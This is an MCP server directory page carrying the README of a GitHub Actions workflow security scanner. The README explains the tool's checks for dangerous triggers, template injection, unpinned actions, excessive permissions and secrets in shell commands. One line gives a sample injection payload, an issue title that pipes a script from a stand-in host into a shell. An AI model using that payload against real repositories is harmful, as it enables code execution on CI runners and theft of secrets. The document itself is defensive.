actions-guard-mcp

actions-guard-mcp

Scans GitHub Actions workflow files for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets in shell commands before they are committed, exposing the checks as MCP tools for agents.

Category
访问服务器

README

actions-guard-mcp

A GitHub Actions workflow security scanner, exposed as MCP tools — so an agent can catch the "pwn request" and supply-chain patterns that have caused real incidents (CoreShop, tj-actions, and others) before a workflow file is committed, not after.

Why this exists

Static analysis for GitHub Actions workflows is a mature, well-understood field — zizmor is a respected, actively maintained standalone scanner for exactly this. What doesn't exist yet is a serious MCP wrapper around that class of analysis. The one project found in a broad search (github-security-mcp) spreads 45 checks across org settings, secrets, supply chain, and Actions in one generic tool — 12 stars, no commits in 5 months. Nothing focuses on workflow security specifically, deeply, as something an agent can call while it's actively writing or reviewing a workflow file.

What it catches

  • Dangerous triggers (AGMCP-101)pull_request_target or workflow_run combined with a checkout step whose ref: or repository: points at the triggering PR/run's own fork. This is the exact shape of the CoreShop incident: a workflow that runs with the base repo's token and secrets, but checks out and executes code from the fork that triggered it.
  • Template injection (AGMCP-102)${{ ... }} expressions built from attacker-controlled context (github.event.issue.title, github.event.pull_request.title, github.event.comment.body, github.head_ref, a toJSON(github.event) whole-payload dump, and similar) interpolated directly into a run: step, rather than passed through env:. The classic shape is run: echo "${{ github.event.issue.title }}" — an issue title of "; curl evil.sh | sh # is not a string at that point, it's shell.
  • Unpinned actions and reusable workflows (AGMCP-103)uses: owner/repo@v4 (a tag or branch, both mutable) instead of a pinned commit SHA; a job-level reusable-workflow call (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main) pinned the same mutable way; or a docker://image:tag reference not pinned to a @sha256: digest. This is the exact supply-chain surface the tj-actions incident used: a compromised tag pointed everyone using it at malicious code with no version bump.
  • Excessive permissions (AGMCP-104)permissions: write-all, or explicit broad write scopes (contents, actions, packages, ...), set at either the workflow level or a job level, on a workflow that also has a risky trigger, where a narrower scope would do.
  • Secrets interpolated into shell (AGMCP-105)${{ secrets.X }} used directly in a run: step instead of passed through env:, which is unnecessary exposure of the raw secret value into the shell command line / process list rather than an environment variable.

All marker matching (AGMCP-101/102/105) normalizes GitHub Actions' bracket-notation property access (github.event['issue']['title']) to the equivalent dot form and matches case-insensitively, since the expression language treats both as identical.

Known limitations

This is pattern matching over the literal text of ${{ }} expressions and with:/permissions: blocks — not a full GitHub Actions expression parser or a data-flow analysis. A clean scan means "no known risky pattern found in the text as written," not a guarantee the workflow is safe. Concretely:

  • No cross-step / env: data-flow tracking. A dangerous value routed through an intermediate env: variable or a step output before reaching a checkout ref: or a run: command is invisible to AGMCP-101/102/105 — only the literal expression in the field being checked is inspected.
  • The attacker-controlled-context marker list (AGMCP-102) is a finite, hand-maintained set, not a real enumeration of every context path GitHub Actions exposes. A new or uncommon field can exist that isn't listed yet.

If a clean result matters for a security decision, don't treat it as the last word — zizmor does deeper, more general static analysis of the same file class and is worth running alongside this, not instead of it.

Setup

pip install actions-guard-mcp
actions-guard-mcp

No configuration needed — every tool takes a workflow file path or its raw YAML content directly.

Status

Early build.

License

MIT

推荐服务器

Baidu Map

Baidu Map

百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。

官方
精选
JavaScript
Playwright MCP Server

Playwright MCP Server

一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。

官方
精选
TypeScript
Magic Component Platform (MCP)

Magic Component Platform (MCP)

一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。

官方
精选
本地
TypeScript
Audiense Insights MCP Server

Audiense Insights MCP Server

通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。

官方
精选
本地
TypeScript
VeyraX

VeyraX

一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。

官方
精选
本地
graphlit-mcp-server

graphlit-mcp-server

模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。

官方
精选
TypeScript
Kagi MCP Server

Kagi MCP Server

一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。

官方
精选
Python
e2b-mcp-server

e2b-mcp-server

使用 MCP 通过 e2b 运行代码。

官方
精选
Neon MCP Server

Neon MCP Server

用于与 Neon 管理 API 和数据库交互的 MCP 服务器

官方
精选
Exa MCP Server

Exa MCP Server

模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。

官方
精选